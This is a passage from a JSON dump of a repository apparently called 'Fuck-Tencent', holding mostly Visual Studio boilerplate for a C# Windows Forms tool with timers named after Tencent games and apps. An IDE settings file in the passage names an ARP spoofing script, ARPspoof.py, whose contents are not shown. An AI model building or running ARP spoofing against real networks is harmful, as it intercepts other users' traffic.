minOccurs=\"0\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" use=\"required\" type=\"xsd:string\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" />\n              <xsd:attribute ref=\"xml:space\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"assembly\">\n            <xsd:complexType>\n              <xsd:attribute name=\"alias\" type=\"xsd:string\" />\n              <xsd:attribute name=\"name\" type=\"xsd:string\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"data\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n                <xsd:element name=\"comment\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"2\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" msdata:Ordinal=\"1\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" msdata:Ordinal=\"3\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" msdata:Ordinal=\"4\" />\n              <xsd:attribute ref=\"xml:space\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"resheader\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" />\n            </xsd:complexType>\n          </xsd:element>\n        </xsd:choice>\n      </xsd:complexType>\n    </xsd:element>\n  </xsd:schema>\n  <resheader name=\"resmimetype\">\n    <value>text/microsoft-resx</value>\n  </resheader>\n  <resheader name=\"version\">\n    <value>2.0</value>\n  </resheader>\n  <resheader name=\"reader\">\n    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n  <resheader name=\"writer\">\n    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n  <metadata name=\"timerBT.TrayLocation\" type=\"System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\n    <value>124, 17</value>\n  </metadata>\n  <metadata name=\"timerWifi.TrayLocation\" type=\"System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\n    <value>222, 17</value>\n  </metadata>\n  <metadata name=\"timerLan.TrayLocation\" type=\"System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\n    <value>328, 17</value>\n  </metadata>\n  <metadata name=\"timerQQ.TrayLocation\" type=\"System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\n    <value>432, 17</value>\n  </metadata>\n  <metadata name=\"timerExplorer.TrayLocation\" type=\"System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\n    <value>535, 17</value>\n  </metadata>\n  <metadata name=\"timerLOL.TrayLocation\" type=\"System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\n    <value>928, 17</value>\n  </metadata>\n  <metadata name=\"timerCF.TrayLocation\" type=\"System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\n    <value>1033, 17</value>\n  </metadata>\n  <metadata name=\"timerTGame.TrayLocation\" type=\"System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\n    <value>1131, 17</value>\n  </metadata>\n  <metadata name=\"timerQQSpd.TrayLocation\" type=\"System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\n    <value>17, 55</value>\n  </metadata>\n  <metadata name=\"timerQQui.TrayLocation\" type=\"System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\n    <value>143, 55</value>\n  </metadata>\n  <metadata name=\"timerDNF.TrayLocation\" type=\"System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\n    <value>257, 55</value>\n  </metadata>\n  <metadata name=\"timerPlayer.TrayLocation\" type=\"System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\n    <value>809, 17</value>\n  </metadata>\n  <metadata name=\"timerDownload.TrayLocation\" type=\"System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\n    <value>666, 17</value>\n  </metadata>\n  <metadata name=\"timerUSB.TrayLocation\" type=\"System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\n    <value>17, 17</value>\n  </metadata>\n</root>"
  },
  {
    "path": "WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent/FuckTencent.csproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"15.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <Import Project=\"$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props\" Condition=\"Exists('$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props')\" />\n  <PropertyGroup>\n    <Configuration Condition=\" '$(Configuration)' == '' \">Debug</Configuration>\n    <Platform Condition=\" '$(Platform)' == '' \">AnyCPU</Platform>\n    <ProjectGuid>{002FE408-F1E7-434B-A07A-6F0AA2C784BF}</ProjectGuid>\n    <OutputType>WinExe</OutputType>\n    <RootNamespace>FuckTencent</RootNamespace>\n    <AssemblyName>FuckTencent</AssemblyName>\n    <TargetFrameworkVersion>v4.5.2</TargetFrameworkVersion>\n    <FileAlignment>512</FileAlignment>\n    <AutoGenerateBindingRedirects>true</AutoGenerateBindingRedirects>\n    <PublishUrl>publish\\</PublishUrl>\n    <Install>true</Install>\n    <InstallFrom>Disk</InstallFrom>\n    <UpdateEnabled>false</UpdateEnabled>\n    <UpdateMode>Foreground</UpdateMode>\n    <UpdateInterval>7</UpdateInterval>\n    <UpdateIntervalUnits>Days</UpdateIntervalUnits>\n    <UpdatePeriodically>false</UpdatePeriodically>\n    <UpdateRequired>false</UpdateRequired>\n    <MapFileExtensions>true</MapFileExtensions>\n    <ApplicationRevision>0</ApplicationRevision>\n    <ApplicationVersion>1.0.0.%2a</ApplicationVersion>\n    <IsWebBootstrapper>false</IsWebBootstrapper>\n    <UseApplicationTrust>false</UseApplicationTrust>\n    <BootstrapperEnabled>true</BootstrapperEnabled>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' \">\n    <PlatformTarget>AnyCPU</PlatformTarget>\n    <DebugSymbols>true</DebugSymbols>\n    <DebugType>full</DebugType>\n    <Optimize>true</Optimize>\n    <OutputPath>bin\\Debug\\</OutputPath>\n    <DefineConstants>DEBUG;TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' \">\n    <PlatformTarget>AnyCPU</PlatformTarget>\n    <DebugType>pdbonly</DebugType>\n    <Optimize>true</Optimize>\n    <OutputPath>bin\\Release\\</OutputPath>\n    <DefineConstants>TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n  </PropertyGroup>\n  <PropertyGroup>\n    <ApplicationIcon>bc2.ico</ApplicationIcon>\n  </PropertyGroup>\n  <ItemGroup>\n    <Reference Include=\"System\" />\n    <Reference Include=\"System.Core\" />\n    <Reference Include=\"System.Xml.Linq\" />\n    <Reference Include=\"System.Data.DataSetExtensions\" />\n    <Reference Include=\"Microsoft.CSharp\" />\n    <Reference Include=\"System.Data\" />\n    <Reference Include=\"System.Deployment\" />\n    <Reference Include=\"System.Drawing\" />\n    <Reference Include=\"System.Net.Http\" />\n    <Reference Include=\"System.Windows.Forms\" />\n    <Reference Include=\"System.Xml\" />\n  </ItemGroup>\n  <ItemGroup>\n    <Compile Include=\"Form1.cs\">\n      <SubType>Form</SubType>\n    </Compile>\n    <Compile Include=\"Form1.Designer.cs\">\n      <DependentUpon>Form1.cs</DependentUpon>\n    </Compile>\n    <Compile Include=\"Program.cs\" />\n    <Compile Include=\"Properties\\AssemblyInfo.cs\" />\n    <EmbeddedResource Include=\"Form1.resx\">\n      <DependentUpon>Form1.cs</DependentUpon>\n    </EmbeddedResource>\n    <EmbeddedResource Include=\"Properties\\Resources.resx\">\n      <Generator>ResXFileCodeGenerator</Generator>\n      <LastGenOutput>Resources.Designer.cs</LastGenOutput>\n      <SubType>Designer</SubType>\n    </EmbeddedResource>\n    <Compile Include=\"Properties\\Resources.Designer.cs\">\n      <AutoGen>True</AutoGen>\n      <DependentUpon>Resources.resx</DependentUpon>\n      <DesignTime>True</DesignTime>\n    </Compile>\n    <None Include=\"Properties\\Settings.settings\">\n      <Generator>SettingsSingleFileGenerator</Generator>\n      <LastGenOutput>Settings.Designer.cs</LastGenOutput>\n    </None>\n    <Compile Include=\"Properties\\Settings.Designer.cs\">\n      <AutoGen>True</AutoGen>\n      <DependentUpon>Settings.settings</DependentUpon>\n      <DesignTimeSharedInput>True</DesignTimeSharedInput>\n    </Compile>\n  </ItemGroup>\n  <ItemGroup>\n    <None Include=\"App.config\" />\n  </ItemGroup>\n  <ItemGroup>\n    <Content Include=\"bc2.ico\" />\n  </ItemGroup>\n  <ItemGroup>\n    <BootstrapperPackage Include=\".NETFramework,Version=v4.5.2\">\n      <Visible>False</Visible>\n      <ProductName>Microsoft .NET Framework 4.5.2 %28x86 和 x64%29</ProductName>\n      <Install>true</Install>\n    </BootstrapperPackage>\n    <BootstrapperPackage Include=\"Microsoft.Net.Framework.3.5.SP1\">\n      <Visible>False</Visible>\n      <ProductName>.NET Framework 3.5 SP1</ProductName>\n      <Install>false</Install>\n    </BootstrapperPackage>\n  </ItemGroup>\n  <Import Project=\"$(MSBuildToolsPath)\\Microsoft.CSharp.targets\" />\n</Project>"
  },
  {
    "path": "WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent/FuckTencent.csproj.user",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"15.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <PropertyGroup>\n    <PublishUrlHistory>publish\\</PublishUrlHistory>\n    <InstallUrlHistory />\n    <SupportUrlHistory />\n    <UpdateUrlHistory />\n    <BootstrapperUrlHistory />\n    <ErrorReportUrlHistory />\n    <FallbackCulture>zh-CN</FallbackCulture>\n    <VerifyUploadedFiles>false</VerifyUploadedFiles>\n  </PropertyGroup>\n</Project>"
  },
  {
    "path": "WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent/Program.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Threading.Tasks;\nusing System.Windows.Forms;\n\nnamespace WindowsFormsApp1\n{\n    static class Program\n    {\n        /// <summary>\n        /// 应用程序的主入口点。\n        /// </summary>\n        [STAThread]\n        static void Main()\n        {\n            Application.EnableVisualStyles();\n            Application.SetCompatibleTextRenderingDefault(false);\n            Application.Run(new FuckTencent());\n        }\n    }\n}\n"
  },
  {
    "path": "WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent/Properties/AssemblyInfo.cs",
    "content": "﻿using System.Reflection;\nusing System.Runtime.CompilerServices;\nusing System.Runtime.InteropServices;\n\n// 有关程序集的一般信息由以下\n// 控制。更改这些特性值可修改\n// 与程序集关联的信息。\n[assembly: AssemblyTitle(\"FuckTencent\")]\n[assembly: AssemblyDescription(\"FuckTencent\")]\n[assembly: AssemblyConfiguration(\"\")]\n[assembly: AssemblyCompany(\"Lixin\")]\n[assembly: AssemblyProduct(\"FuckTencent\")]\n[assembly: AssemblyCopyright(\"Copyright ©  2017\")]\n[assembly: AssemblyTrademark(\"Lixin\")]\n[assembly: AssemblyCulture(\"\")]\n\n// 将 ComVisible 设置为 false 会使此程序集中的类型\n//对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型\n//请将此类型的 ComVisible 特性设置为 true。\n[assembly: ComVisible(false)]\n\n// 如果此项目向 COM 公开，则下列 GUID 用于类型库的 ID\n[assembly: Guid(\"002fe408-f1e7-434b-a07a-6f0aa2c784bf\")]\n\n// 程序集的版本信息由下列四个值组成: \n//\n//      主版本\n//      次版本\n//      生成号\n//      修订号\n//\n// 可以指定所有值，也可以使用以下所示的 \"*\" 预置版本号和修订号\n// 方法是按如下所示使用“*”: :\n// [assembly: AssemblyVersion(\"1.0.*\")]\n[assembly: AssemblyVersion(\"1.0.0.3\")]\n[assembly: AssemblyFileVersion(\"1.0.0.3\")]\n"
  },
  {
    "path": "WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent/Properties/Resources.Designer.cs",
    "content": "﻿//------------------------------------------------------------------------------\n// <auto-generated>\n//     此代码由工具生成。\n//     运行时版本:4.0.30319.42000\n//\n//     对此文件的更改可能会导致不正确的行为，并且如果\n//     重新生成代码，这些更改将会丢失。\n// </auto-generated>\n//------------------------------------------------------------------------------\n\nnamespace FuckTencent.Properties {\n    using System;\n    \n    \n    /// <summary>\n    ///   一个强类型的资源类，用于查找本地化的字符串等。\n    /// </summary>\n    // 此类是由 StronglyTypedResourceBuilder\n    // 类通过类似于 ResGen 或 Visual Studio 的工具自动生成的。\n    // 若要添加或移除成员，请编辑 .ResX 文件，然后重新运行 ResGen\n    // (以 /str 作为命令选项)，或重新生成 VS 项目。\n    [global::System.CodeDom.Compiler.GeneratedCodeAttribute(\"System.Resources.Tools.StronglyTypedResourceBuilder\", \"4.0.0.0\")]\n    [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]\n    [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]\n    internal class Resources {\n        \n        private static global::System.Resources.ResourceManager resourceMan;\n        \n        private static global::System.Globalization.CultureInfo resourceCulture;\n        \n        [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute(\"Microsoft.Performance\", \"CA1811:AvoidUncalledPrivateCode\")]\n        internal Resources() {\n        }\n        \n        /// <summary>\n        ///   返回此类使用的缓存的 ResourceManager 实例。\n        /// </summary>\n        [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]\n        internal static global::System.Resources.ResourceManager ResourceManager {\n            get {\n                if (object.ReferenceEquals(resourceMan, null)) {\n                    global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager(\"FuckTencent.Properties.Resources\", typeof(Resources).Assembly);\n                    resourceMan = temp;\n                }\n                return resourceMan;\n            }\n        }\n        \n        /// <summary>\n        ///   使用此强类型资源类，为所有资源查找\n        ///   重写当前线程的 CurrentUICulture 属性。\n        /// </summary>\n        [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]\n        internal static global::System.Globalization.CultureInfo Culture {\n            get {\n                return resourceCulture;\n            }\n            set {\n                resourceCulture = value;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent/Properties/Resources.resx",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<root>\n  <!-- \n    Microsoft ResX Schema \n    \n    Version 2.0\n    \n    The primary goals of this format is to allow a simple XML format \n    that is mostly human readable. The generation and parsing of the \n    various data types are done through the TypeConverter classes \n    associated with the data types.\n    \n    Example:\n    \n    ... ado.net/XML headers & schema ...\n    <resheader name=\"resmimetype\">text/microsoft-resx</resheader>\n    <resheader name=\"version\">2.0</resheader>\n    <resheader name=\"reader\">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>\n    <resheader name=\"writer\">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>\n    <data name=\"Name1\"><value>this is my long string</value><comment>this is a comment</comment></data>\n    <data name=\"Color1\" type=\"System.Drawing.Color, System.Drawing\">Blue</data>\n    <data name=\"Bitmap1\" mimetype=\"application/x-microsoft.net.object.binary.base64\">\n        <value>[base64 mime encoded serialized .NET Framework object]</value>\n    </data>\n    <data name=\"Icon1\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\n        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>\n        <comment>This is a comment</comment>\n    </data>\n                \n    There are any number of \"resheader\" rows that contain simple \n    name/value pairs.\n    \n    Each data row contains a name, and value. The row also contains a \n    type or mimetype. Type corresponds to a .NET class that support \n    text/value conversion through the TypeConverter architecture. \n    Classes that don't support this are serialized and stored with the \n    mimetype set.\n    \n    The mimetype is used for serialized objects, and tells the \n    ResXResourceReader how to depersist the object. This is currently not \n    extensible. For a given mimetype the value must be set accordingly:\n    \n    Note - application/x-microsoft.net.object.binary.base64 is the format \n    that the ResXResourceWriter will generate, however the reader can \n    read any of the formats listed below.\n    \n    mimetype: application/x-microsoft.net.object.binary.base64\n    value   : The object must be serialized with \n            : System.Serialization.Formatters.Binary.BinaryFormatter\n            : and then encoded with base64 encoding.\n    \n    mimetype: application/x-microsoft.net.object.soap.base64\n    value   : The object must be serialized with \n            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter\n            : and then encoded with base64 encoding.\n\n    mimetype: application/x-microsoft.net.object.bytearray.base64\n    value   : The object must be serialized into a byte array \n            : using a System.ComponentModel.TypeConverter\n            : and then encoded with base64 encoding.\n    -->\n  <xsd:schema id=\"root\" xmlns=\"\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\">\n    <xsd:element name=\"root\" msdata:IsDataSet=\"true\">\n      <xsd:complexType>\n        <xsd:choice maxOccurs=\"unbounded\">\n          <xsd:element name=\"metadata\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"assembly\">\n            <xsd:complexType>\n              <xsd:attribute name=\"alias\" type=\"xsd:string\" />\n              <xsd:attribute name=\"name\" type=\"xsd:string\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"data\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n                <xsd:element name=\"comment\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"2\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" msdata:Ordinal=\"1\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" msdata:Ordinal=\"3\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" msdata:Ordinal=\"4\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"resheader\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" />\n            </xsd:complexType>\n          </xsd:element>\n        </xsd:choice>\n      </xsd:complexType>\n    </xsd:element>\n  </xsd:schema>\n  <resheader name=\"resmimetype\">\n    <value>text/microsoft-resx</value>\n  </resheader>\n  <resheader name=\"version\">\n    <value>2.0</value>\n  </resheader>\n  <resheader name=\"reader\">\n    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n  <resheader name=\"writer\">\n    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n</root>"
  },
  {
    "path": "WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent/Properties/Settings.Designer.cs",
    "content": "﻿//------------------------------------------------------------------------------\n// <auto-generated>\n//     此代码由工具生成。\n//     运行时版本:4.0.30319.42000\n//\n//     对此文件的更改可能会导致不正确的行为，并且如果\n//     重新生成代码，这些更改将会丢失。\n// </auto-generated>\n//------------------------------------------------------------------------------\n\nnamespace FuckTencent.Properties {\n    \n    \n    [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]\n    [global::System.CodeDom.Compiler.GeneratedCodeAttribute(\"Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator\", \"15.1.0.0\")]\n    internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {\n        \n        private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));\n        \n        public static Settings Default {\n            get {\n                return defaultInstance;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent/Properties/Settings.settings",
    "content": "﻿<?xml version='1.0' encoding='utf-8'?>\n<SettingsFile xmlns=\"http://schemas.microsoft.com/VisualStudio/2004/01/settings\" CurrentProfile=\"(Default)\">\n  <Profiles>\n    <Profile Name=\"(Default)\" />\n  </Profiles>\n  <Settings />\n</SettingsFile>\n"
  },
  {
    "path": "WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent/bin/Debug/FuckTencent.exe.config",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\" ?>\n<configuration>\n    <startup> \n        <supportedRuntime version=\"v4.0\" sku=\".NETFramework,Version=v4.5.2\" />\n    </startup>\n</configuration>"
  },
  {
    "path": "WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent/bin/Release/FuckTencent.exe.config",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\" ?>\n<configuration>\n    <startup> \n        <supportedRuntime version=\"v4.0\" sku=\".NETFramework,Version=v4.5.2\" />\n    </startup>\n</configuration>"
  },
  {
    "path": "WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent/obj/Debug/CoreCompileInputs.cache",
    "content": "701b86912150830875a89bd2808714de9a88d9eb\n"
  },
  {
    "path": "WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent/obj/Debug/FuckTencent.csproj.FileListAbsolute.txt",
    "content": "D:\\GitHub\\Fuck-Tencent\\WindowsPlatform\\V 0.0.3\\FuckTencent\\FuckTencent\\bin\\Debug\\FuckTencent.exe.config\nD:\\GitHub\\Fuck-Tencent\\WindowsPlatform\\V 0.0.3\\FuckTencent\\FuckTencent\\bin\\Debug\\FuckTencent.exe\nD:\\GitHub\\Fuck-Tencent\\WindowsPlatform\\V 0.0.3\\FuckTencent\\FuckTencent\\bin\\Debug\\FuckTencent.pdb\nD:\\GitHub\\Fuck-Tencent\\WindowsPlatform\\V 0.0.3\\FuckTencent\\FuckTencent\\obj\\Debug\\FuckTencent.csprojResolveAssemblyReference.cache\nD:\\GitHub\\Fuck-Tencent\\WindowsPlatform\\V 0.0.3\\FuckTencent\\FuckTencent\\obj\\Debug\\FuckTencent.csproj.GenerateResource.Cache\nD:\\GitHub\\Fuck-Tencent\\WindowsPlatform\\V 0.0.3\\FuckTencent\\FuckTencent\\obj\\Debug\\FuckTencent.exe\nD:\\GitHub\\Fuck-Tencent\\WindowsPlatform\\V 0.0.3\\FuckTencent\\FuckTencent\\obj\\Debug\\FuckTencent.pdb\nD:\\GitHub\\Fuck-Tencent\\WindowsPlatform\\V 0.0.3\\FuckTencent\\FuckTencent\\obj\\Debug\\WindowsFormsApp1.FuckTencent.resources\nD:\\GitHub\\Fuck-Tencent\\WindowsPlatform\\V 0.0.3\\FuckTencent\\FuckTencent\\obj\\Debug\\FuckTencent.Properties.Resources.resources\n"
  },
  {
    "path": "WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs",
    "content": ""
  },
  {
    "path": "WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs",
    "content": ""
  },
  {
    "path": "WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs",
    "content": ""
  },
  {
    "path": "WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent/obj/Release/CoreCompileInputs.cache",
    "content": "701b86912150830875a89bd2808714de9a88d9eb\n"
  },
  {
    "path": "WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent/obj/Release/FuckTencent.csproj.FileListAbsolute.txt",
    "content": "D:\\GitHub\\Fuck-Tencent\\WindowsPlatform\\V 0.0.3\\FuckTencent\\FuckTencent\\bin\\Release\\FuckTencent.exe.config\nD:\\GitHub\\Fuck-Tencent\\WindowsPlatform\\V 0.0.3\\FuckTencent\\FuckTencent\\bin\\Release\\FuckTencent.exe\nD:\\GitHub\\Fuck-Tencent\\WindowsPlatform\\V 0.0.3\\FuckTencent\\FuckTencent\\bin\\Release\\FuckTencent.pdb\nD:\\GitHub\\Fuck-Tencent\\WindowsPlatform\\V 0.0.3\\FuckTencent\\FuckTencent\\obj\\Release\\WindowsFormsApp1.FuckTencent.resources\nD:\\GitHub\\Fuck-Tencent\\WindowsPlatform\\V 0.0.3\\FuckTencent\\FuckTencent\\obj\\Release\\FuckTencent.Properties.Resources.resources\nD:\\GitHub\\Fuck-Tencent\\WindowsPlatform\\V 0.0.3\\FuckTencent\\FuckTencent\\obj\\Release\\FuckTencent.csproj.GenerateResource.Cache\nD:\\GitHub\\Fuck-Tencent\\WindowsPlatform\\V 0.0.3\\FuckTencent\\FuckTencent\\obj\\Release\\FuckTencent.exe\nD:\\GitHub\\Fuck-Tencent\\WindowsPlatform\\V 0.0.3\\FuckTencent\\FuckTencent\\obj\\Release\\FuckTencent.pdb\n"
  },
  {
    "path": "WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent/obj/Release/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs",
    "content": ""
  },
  {
    "path": "WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent/obj/Release/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs",
    "content": ""
  },
  {
    "path": "WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent/obj/Release/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs",
    "content": ""
  },
  {
    "path": "WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent.sln",
    "content": "﻿\nMicrosoft Visual Studio Solution File, Format Version 12.00\n# Visual Studio 15\nVisualStudioVersion = 15.0.26403.3\nMinimumVisualStudioVersion = 10.0.40219.1\nProject(\"{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}\") = \"FuckTencent\", \"FuckTencent\\FuckTencent.csproj\", \"{002FE408-F1E7-434B-A07A-6F0AA2C784BF}\"\nEndProject\nGlobal\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\n\t\tDebug|Any CPU = Debug|Any CPU\n\t\tRelease|Any CPU = Release|Any CPU\n\tEndGlobalSection\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\n\t\t{002FE408-F1E7-434B-A07A-6F0AA2C784BF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU\n\t\t{002FE408-F1E7-434B-A07A-6F0AA2C784BF}.Debug|Any CPU.Build.0 = Debug|Any CPU\n\t\t{002FE408-F1E7-434B-A07A-6F0AA2C784BF}.Release|Any CPU.ActiveCfg = Release|Any CPU\n\t\t{002FE408-F1E7-434B-A07A-6F0AA2C784BF}.Release|Any CPU.Build.0 = Release|Any CPU\n\tEndGlobalSection\n\tGlobalSection(SolutionProperties) = preSolution\n\t\tHideSolutionNode = FALSE\n\tEndGlobalSection\nEndGlobal\n"
  },
  {
    "path": "macOS&&LinuxPlatform/.idea/encodings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project version=\"4\">\n  <component name=\"Encoding\">\n    <file url=\"file://$PROJECT_DIR$/ARPspoof.py\" charset=\"GBK\" />\n  </component>\n</project>"
  },
  {
    "path": "macOS&&LinuxPlatform/.idea/inspectionProfiles/profiles_settings.xml",
    "content": "<component name=\"InspectionProjectProfileManager\">\n  <settings>\n    <option name=\"useProjectProfile\" value=\"false\" />\n    <option name=\"USE_PROJECT_PROFILE\" value=\"false\" />\n    <version value=\"1.0\" />\n  </settings>\n</component>"
  },
  {
    "path": "macOS&&LinuxPlatform/.idea/macOS&&LinuxPlatform.iml",
